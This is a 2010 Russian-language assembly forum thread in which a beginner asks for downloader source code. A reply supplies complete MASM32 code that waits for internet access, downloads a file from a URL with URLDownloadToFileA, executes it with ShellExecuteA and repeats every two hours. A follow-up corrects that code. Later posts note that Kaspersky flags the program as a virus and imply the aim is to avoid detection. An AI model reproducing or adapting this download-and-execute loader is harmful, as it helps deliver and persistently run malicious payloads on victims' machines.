Даулоадер с запуском

Тема в разделе "WASM.BEGINNERS", создана пользователем vround, 8 фев 2010.

  1. vround

    vround New Member

    Публикаций:
    0
    Регистрация:
    8 фев 2010
    Сообщения:
    3
    Всем привет
    Ищю сорс даунлоадера. Чтобы скачивал нужный файл и запускал его после скачки.
    Знает кто нить?
     
  2. Flint_ta

    Flint_ta New Member

    Публикаций:
    0
    Регистрация:
    25 май 2008
    Сообщения:
    312
    Код (Text):
    1. .586
    2. .model  flat, stdcall
    3. option  casemap:none
    4.  
    5. include \MASM32\INCLUDE\user32.inc
    6. include \MASM32\INCLUDE\kernel32.inc
    7. include \MASM32\INCLUDE\ws2_32.inc
    8. include \MASM32\INCLUDE\wininet.inc
    9. include \MASM32\INCLUDE\shell32.inc
    10. include \MASM32\INCLUDE\urlmon.inc
    11.  
    12.    
    13. includelib \MASM32\LIB\kernel32.lib
    14. includelib \MASM32\LIB\user32.lib
    15. includelib \MASM32\LIB\ws2_32.lib
    16. includelib \MASM32\LIB\wininet.lib
    17. includelib \MASM32\LIB\shell32.lib
    18. includelib \MASM32\LIB\urlmon.lib
    19.  
    20. .data
    21. namefile db "1.htm", 0
    22. addres db "http://wasm.ru/forum/index.php",0
    23. google db "www.google.com", 0
    24.  
    25. .data?
    26. wsa db 500 dup (?)
    27.  
    28. .code
    29. start:
    30. ; -----------------------------------проверим есть ли интернет--------------
    31. proverka:
    32. PUSH offset wsa
    33. PUSH 202h
    34. CALL WSAStartup
    35. PUSH offset google
    36. CALL gethostbyname
    37. test eax, eax
    38. jnz da
    39. push 10000
    40. Call Sleep
    41. jmp proverka
    42. da:
    43. ;------------------ интернет есть скачаем файл -----------------
    44.  
    45. PUSH 0
    46. PUSH 0
    47. PUSH offset namefile
    48. PUSH offset addres
    49. PUSH 0
    50. CALL URLDownloadToFileA
    51.  
    52. push 0
    53. push 0
    54. push 0
    55. push 0
    56. push offset namefile
    57. push 0
    58. push 0
    59. call ShellExecuteA
    60.  
    61. ; Уснем на  пару часов
    62. push 7200000
    63. Call Sleep
    64. jmp proverka
    65.  
    66. push 0
    67. call ExitProcess   
    68. end start
     
  3. vround

    vround New Member

    Публикаций:
    0
    Регистрация:
    8 фев 2010
    Сообщения:
    3
    Flint_ta
    Спасибо огромное!
     
  4. Flint_ta

    Flint_ta New Member

    Публикаций:
    0
    Регистрация:
    25 май 2008
    Сообщения:
    312
    Код (Text):
    1. push 0
    2. push 0
    3. push 0
    4. push 0
    5. push offset namefile
    6. push 0
    7. push 0
    8. call ShellExecuteA
    первый push 0 лишний, удали его
     
  5. vround

    vround New Member

    Публикаций:
    0
    Регистрация:
    8 фев 2010
    Сообщения:
    3
    Flint_ta
    Исправил.
    Блин каспер зараза ругаеться на вирь...Как только сорс не правил все равно орет(
     
  6. Sunzer

    Sunzer Member

    Публикаций:
    0
    Регистрация:
    25 май 2008
    Сообщения:
    256
    Ес-но, а ты что хотел?
     
  7. deLight

    deLight New Member

    Публикаций:
    0
    Регистрация:
    26 май 2008
    Сообщения:
    879
    Sunzer
    Видимо чтобы не палилось.
     
  8. lamerkz666

    lamerkz666 New Member

    Публикаций:
    0
    Регистрация:
    25 июн 2008
    Сообщения:
    10
    мир с трепетом замер в ожидании прихода нового zeustock'a..